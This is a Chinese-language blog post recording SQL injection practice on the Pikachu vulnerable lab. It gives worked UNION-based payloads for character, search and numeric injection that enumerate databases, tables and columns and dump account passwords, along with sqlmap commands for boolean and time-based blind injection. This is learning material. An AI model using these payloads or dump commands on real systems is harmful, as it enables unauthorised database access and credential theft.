什么是SQL注入漏洞,SQL注入漏洞的流程
这几天做了一个靶机里面有关于SQL注入漏洞,想着把SQL注入漏洞写一下,方便自己跟大家查看
什么是SQL注入漏洞
注入(SQLi)是一种注入攻击,可以执行恶意SQL语句。
它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。
攻击者可以使用SQL注入漏洞绕过应用程序安全措施;
可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;
还可以使用SQL注入来添加,修改和删除数据库中的记录。
SQL注入漏洞分类、以及基本测试流程。
一.字符型注入
1.通过单引号或者and方法测试是否有注入
kobe' 系统会报错
kobe' and 1=1# 正确
kobe' and 1=2# 错误
2.猜解一下sql语句模板的列数
kobe' order by 2# 正确
kobe' order by 3# 报错
证明SQL语句可以查询两列
3.测试回显位置
kobe' union select 1,2#
4.读取数据库数据
4.1 获取当前数据库名称和数据库版本
kobe' union select version(),database()#
5.5.53 版本
数据库名称 pikachu
4.2 获取表名称
kobe1' union select group_concat(table_name),'aaaa' from information_schema.tables where table_schema = 'pikachu'#
httpinfo,member,message,users,xssblind
4.3 对感兴趣的表,获取列名称
member
kobe1' union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#
id,username,pw,sex,phonenum,address,email
4.4 获取账号密码数据
kobe1' union select group_concat(username),group_concat(pw) from pikachu.member#
二.盲注型注入(base on time)
1.第一步:抓包,并在注入点插入*标注
2.第二步:连接虚拟机、Xshell和kali,更改设置用本地IP进行pikachu的访问。
3.1第三步:将抓包获取的文件放入Xshell中方便语句的输入执行
3.2根据二分法盲猜测数据库长度、数据库名和表名
3.2对注入点进行探测,查看是否插入成功
3.3利用sqlmap进行基于时间的盲注(利用命令T进行盲注)
4.利用sqlmap语句进行表名的获取、内容的获取
三.盲注型注入(base on boolian)
1.第一步,利用burpsuit抓包,将抓取的内容放在txt文件中并创建txt文件用于插入注入点
2.第二步,爆出数据库名称,并利用length()猜测数据库名
执行语句:
Sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜'
3、爆出数据库中的表、以及表中的列
执行语句1:
sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜' -D pikachu --tables
执行语句2:
sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜' -D pikachu -T users --columns
3.爆密码和用户名
执行语句:
sqlmap -r 999.txt --technique=B --dbms=mysql --string='恭喜' -D pikachu -T users -C username, password -dump
四.搜索型注入
1.第一步,通过单引号或者and方法测试是否有注入
kobe and 1=1 正确 kobe and 1=2 错误
注意:搜索型闭合符号与字符型不同。
搜索行的闭合回路语句是:
k%' and 1=1#
2.猜解一下sql语句模板的列数
k%' order by 3#
k%' order by 4#
当输入k%' order by 4#
会显示报错,所以在此搜索库中最多有三列
3.测试回显位置
k%' union select 1,2#
4.读取数据库数据
k%' union select 1,version(),database()#
5, 获取表名称
k%' union select group_concat(table_name),'aaaa','cc'from information_schema.tables where table_schema = 'pikachu'#
6, 对感兴趣的表,获取列名称
kobe%' union select "ccc",group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'#
7, 获取账号密码数据
kobe%' union select group_concat(username),group_concat(pw),"aaa" from pikachu.member#
五.数字型注入
首先对源码分析:
前端获取的变量id未做任何处理,直接拼接到select语句中进行查询,形成sql注入。
打开pikachu的数字注入型,确认输入点是否存在注入,随便提交一个数
并进行抓包将抓到的数据包发送到repeat中,做测试。输入or 1=1,点击提交。发现用户的所有数据,说明在id=1处存在注入漏洞。
查询数据库的列数,输入order by 3报错
重新构造pyload ,输入order by 2,成功爆出当前查询数据库的列数
重新构造pyload,查看当前版本和数据库名称
重新构造pyload,获取表的名称
重新构造pyload,对感兴趣的表,获取列名称
获取账号和密码
member
union select group_concat(column_name),'aaaa' from information_schema.columns where table_schema = 'pikachu' and table_name = 'member'
4 测试结果
经过盲注型渗透,进行数据的猜测获取。注意:每种类型的注入符号都有所不同,需要反复尝试,来得到注入的符号。
什么是SQL注入漏洞,SQL注入漏洞的流程相关推荐
- ecshop 2.x/3.x sql注入/任意代码执行漏洞
影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中di ...
- SQL注入天书-ASP注入漏洞全接触
引 言 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序 ...
- 安全漏洞之SQL注入和shell注入
SQL注入 发生部位 SQL注入安全漏洞发生于应用程序和数据库之间. 原理 当攻击者在输入的字符串之中注入SQL指令,由于程序没有设置相关的字符检查,那么这些指令就会被数据服务器认为是正常的SQL指令 ...
- web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞
这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...
- 注入漏洞-sql注入
注入漏洞 注入漏洞 1 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行指定的SQL语句.具体来说,它是利用现有应用程序, ...
- Java安全-注入漏洞(SQL注入、命令注入、表达式注入、模板注入)
文章目录 注入 SQL注入 JDBC拼接不当造成SQL注入 框架使用不当造成SQL注入 不安全的反射 命令注入 代码注入 表达式注入 Spel表达式注入 OGNL表达式注入 模板注入 注入 SQL注入 ...
- WEB漏洞——SQL注入之简要SQL注入
前言 sql注入是比较常见的网络攻击方式之一, 他不是利用操作系统的bug来实现攻击,而是针对程序员编写时的疏忽,通过sql语句,实现无账号登录,甚至篡改数据库. sql简介 sql是一门ANSI的标 ...
- 【愚公系列】2023年05月 网络安全高级班 065.WEB渗透与安全(SQL注入漏洞-手工注入)
文章目录 前言 一.SQL注入漏洞-手工注入 1.错误注入 2.布尔注入 2.1 通过`'or 1=1 --` 注入 2.2 通过`admin'or 1=1 --` 注入 3.联合注入 3.1 查看u ...
- 视频教程-SQL注入与SQLmap工具-漏洞挖掘与利用
SQL注入与SQLmap工具 玄道,从混迹漏洞平台与SRC应急响应中心的白帽子到创业乙方的技术与运营 刘畅 ¥15.00 立即订阅 扫码下载「CSDN程序员学院APP」,1000+技术好课免费看 AP ...
- 13 WEB漏洞:SQL注入之MYSQL注入
1.SQL简介: SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-.SQL 语句用于取回和更新数据库中的数据.SQL 可与数据库程序协同工作,比如 MS Access.DB2.I ...
最新文章
- Leangoo看板工具做投诉问题处理流程
- 无线信标功能调试-2021-3-9-HALL检测与主控接口
- 2019牛客暑期多校训练营(第五场)F - maximum clique 1 (最大团:补图最大独立集)
- r语言 回归分析 分类变量_R语言下的PSM分析分类变量处理与分析步骤
- 简单干净的C#方法设计案例:SFCUI.AjaxValue()之二
- 232接口针脚定义_VGA接口定义,详细图文资料
- 如何在IPv6下观看网络电视直播
- rfid考勤系统mysql_RFID智能考勤管理系统
- linux RDP 共享磁盘,USB Over Network - USB Server for Linux (RDP使用讀卡機殘念)
- 如何在Python中使用Rest API
- C语言:由键盘任意输入1个整形数据(小于10亿,位数不限),将其倒置,如:输入12345,则输出54321。
- 云呐|固定资产调拨流程(固定资产调拨需要哪些流程)
- 阿里云发布黑科技:面对海量的文本翻译任务,阿里翻译团队是如何解决的
- 如何辨别中标麒麟和银河麒麟
- a+++a和a+a++的区别
- 基于JAVA SSM框架的学校家长互动学习平台
- 鸿蒙app安卓版包,快手鸿蒙版下载-快手app鸿蒙版下载 v9.2.10.18677-apk3安卓网
- JDK1.8源码分析:阻塞队列LinkedBlockingQueue与BlockingDeque(双端)的设计与实现
- 十年磨一剑之我眼中的京东
- D1net阅闻:微信支付上线新一轮鼓励金活动